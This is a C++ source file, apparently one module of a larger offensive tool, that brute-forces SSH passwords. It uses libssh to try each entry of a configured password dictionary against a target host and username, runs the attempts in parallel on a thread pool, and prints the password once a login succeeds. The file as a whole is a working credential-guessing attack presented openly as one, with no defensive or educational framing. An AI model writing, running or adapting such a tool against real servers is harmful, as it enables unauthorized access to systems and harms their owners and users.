#include <iostream>
#include <project_config.h>
#include <string>
#include <vector>
#include <future>
#include <chrono>
#include <thread>

#include <libssh/libssh.h>

bool attack_successful = false;
string real_password = "";
int range = 0;
bool fast = true;

bool ssh_login(const std::string& host, int port, const std::string& username, const std::string& password) {
    ssh_session my_ssh_session;
    int verbosity = SSH_LOG_PROTOCOL;
    int rc;

    // 初始化session实例
    my_ssh_session = ssh_new();
    if (my_ssh_session == NULL) {
        //std::cerr << "Failed to create SSH session" << std::endl;
        throw runtime_error("failed to create ssh session");
        return false;
    }

    // 设置服务器端参数
    ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, host.c_str());
    ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port);
    ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, username.c_str());

    // 连接到服务器
    rc = ssh_connect(my_ssh_session);
    if (rc != SSH_OK) {
        //std::cerr << "Error connecting to host: " << ssh_get_error(my_ssh_session) << std::endl;
        ssh_free(my_ssh_session);
        throw runtime_error("connect error");
        return false;
    }

    // 认证
    rc = ssh_userauth_password(my_ssh_session, NULL, password.c_str());
    if (rc != SSH_AUTH_SUCCESS) {
        //std::cerr << "Authentication failed: " << ssh_get_error(my_ssh_session) << std::endl;
        ssh_disconnect(my_ssh_session);
        ssh_free(my_ssh_session);
        throw runtime_error("password error");
        return false;
    }

    // 登录成功
    ssh_disconnect(my_ssh_session);
    ssh_free(my_ssh_session);
    return true;
}

void attack(const std::string& host, int port, const std::string& username,std::string& password) {
        bool ok = ssh_login(host , port , username , password);
    if (ok) {
        //cout << 1239 << endl;
        attack_successful = true;
        real_password = password;
        return;
    } 
    
    //cout << "[TEST]" << range << " Passwd=" << password.c_str() << endl;
}


void run_ssh_attack_module(const std::string& host, int port, const std::string& username) {
    string hostname = host;
    int hostport = port;
    string user = username;
    
    try
    {
        /* code */
        string default_passwd_dict = get_software_config("dict");
        string default_run_thread = get_software_config("default_thread");
        string fast_mod = get_software_config("fast");
        cout << default_passwd_dict << endl;

        fast = (fast_mod == "true");

        const char split_charset = '\n';
        vector<string> passwd_list = split(get_file_content(default_passwd_dict),split_charset);

        int thread = stoi(default_run_thread);
        FixThreadPool pool(thread);

        cout << "[INFO] START ATTACK TARGET: " << hostname.c_str() << endl;
        cout << "[Notice] 快模式下有极大的概率出现socket连接重置等无法正确登录目标的行为." << endl;
        cout << "\n" << endl;
        for (int i = 0 ; i < passwd_list.size() ; i++) {
            string pwd = passwd_list[i];
            if (attack_successful) {
                cout << "[SUCCESSFUL] 成功破解目标: " << hostname.c_str() << ";密码=" << real_password.c_str() << endl;
                break;
            }
            if (!fast) {
                std::this_thread::sleep_for(std::chrono::milliseconds(1));
            }
            pool.submit_thread(attack , hostname,hostport,user,pwd);
            range++;
        }        
        //result.get();
    }
    catch(const std::exception& e)
    {
        std::cerr << e.what() << '\n';
        std::cerr << "[ERR] Run the module 'SSH Attack' Error." << "\n";
    }
    
}